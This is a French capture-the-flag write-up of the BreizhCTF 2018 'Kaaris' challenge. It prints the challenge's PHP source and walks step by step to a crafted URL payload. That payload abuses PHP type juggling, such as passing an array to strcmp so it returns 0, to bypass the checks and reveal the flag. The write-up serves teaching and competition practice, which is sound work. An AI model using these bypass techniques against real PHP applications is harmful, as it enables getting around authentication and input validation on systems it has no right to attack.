BreizhCTF - Kaaris (Misc)

Hier se tenait le BreizhCTF 2018 à Rennes, se fut notre première participation et nous en sommes repartis fatigués (18h - 8h) mais en ayant passé un excellent moment. Beernznash est classé 28⁄60 malgré nos 1600 points et des brouettes.

Je n’ai malheureusement pas sauvegardé l’énoncé des épreuves. Ce chall reposait intégralement sur les propriétés de fonctions PHP précises ainsi que des types PHP
http://xxx.xxx.xxx.xxx:yyyy

Der Code

<?php

    show_source(__FILE__);
    $i01=0;$i02=0;$i03=0;
    $a=(array)json_decode(@$_GET['kaaris']);
    if(is_array($a)){
       is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah"):NULL;

       if(@$a["Jte_laisse_tirer_sur_ma_chicha"])
       {
           ($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL;
       }

       if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){
           if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah");
           $pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]);
           $pos===false?die("brrrrah"):NULL;
           foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){
               $val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah"):NULL;
           }
           $i02=1;
       }
    }
    $c=@$_GET['meufs'];
    $d=@$_GET['seufs'];
    if(@$c[1]){

       if(!strcmp($c[1],$d) && $c[1]!==$d){
           eregi("3|1|c",$d.$c[0])?die("brrrrah"):NULL;
           strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL;

       }
    }
    if($i01 && $i02 && $i03){
       include "flag.php";
       echo $FL4G;
    }
        
?>

Die Analyse

On remarque via ce moreceau de code, que pour afficher le flag il sera nécessaire que ces 3 variables soient différentes de 0.

if($i01 && $i02 && $i03){
       include "flag.php";
       echo $FL4G;
    }

Pour cela il est nécessaire de remplir une liste de conditions basées sur un paramètre d’URL au format JSON qui sera converti en tableau PHP.

$i01

$a=(array)json_decode(@$_GET['kaaris']);
if(is_array($a)){
       is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah"):NULL;

       if(@$a["Jte_laisse_tirer_sur_ma_chicha"])
       {
           ($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL;
       }
    }

La valeur de la clé Jte_laisse_tirer_sur_ma_chicha ne doit pas être de type numérique et être plus grande que 2017 : on utilise ainsi un tableau

php > var_dump(is_numeric([5]));
bool(false)
php > var_dump([5] > 2017);
bool(true)
php >
http://localhost/CTF/bzh.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":[5]}

$i02

if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){
           if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah");
           $pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]);
           $pos===false?die("brrrrah"):NULL;
           foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){
               $val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah"):NULL;
           }
           $i02=1;
       }

et_tu_veux_plus_me_rendre_le_tuyau doit :

  • être un tableau
  • doit être d’une taille de 7 items
  • le premier item doit également être un tableau

a2 doit être un tableau contenant : “Diarabi, diarabi, diarabi, ma chérie” et aucune des valeurs de et_tu_veux_plus_me_rendre_le_tuyau doit contenir “Diarabi, diarabi, diarabi, ma chérie”.

http://localhost/CTF/bzh.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":[5], "et_tu_veux_plus_me_rendre_le_tuyau":[[],2,3,4,5,6,7], "a2":["Diarabi, diarabi, diarabi, ma chérie"]}

$i03

    $c=@$_GET['meufs'];
    $d=@$_GET['seufs'];
    if(@$c[1]){
       if(!strcmp($c[1],$d) && $c[1]!==$d){
           eregi("3|1|c",$d.$c[0])?die("brrrrah"):NULL;
           strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL;
       }
    }

Ici la première condition impose que $c[1] soit égal à $d (strcmp renvoie 0 en cas d’égalité) et que $c[1] soit différent de $d. Cela est paradoxal deux éléments ne peuvent être égal et différent.

Il faut donc s’arranger pour que strcmp renvoie 0 en mettant deux valeurs différentes. Coup de chance je me rappelais avoir vu un tweet expliquant qu’en donnant un tableau en paramètre à strcmp celle-ci générait une erreur et renvoyait 0 !

&meufs[1][]=a&seufs=x

Secondement $d concatené à $c[1] ne doit pas contenir 3 ou 1 ou c, simple.

Enfin $c[0] concatené à $d sera la chaine dans laquelle on va chercher “Diarabi, diarabi, faut qu’on fasse du wari”. Strpos() renvoie l’offset du motif dans la chaine, pour que $i03 soit égal à 1 le motif doit être présent un caractère après le début :

&seufs=i&meufs[0]=XDiarabi, diarabi, faut qu'on fasse du war

Payload final

http://localhost/CTF/bzh.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":[5], "et_tu_veux_plus_me_rendre_le_tuyau":[[],2,3,4,5,6,7], "a2":["Diarabi, diarabi, diarabi, ma chérie"]}&meufs[1][]=[]&seufs=i&meufs[0]=aDiarabi, diarabi, faut qu'on fasse du war

 

Merci encore aux orgnisateurs et félicitations aux équipes participantes !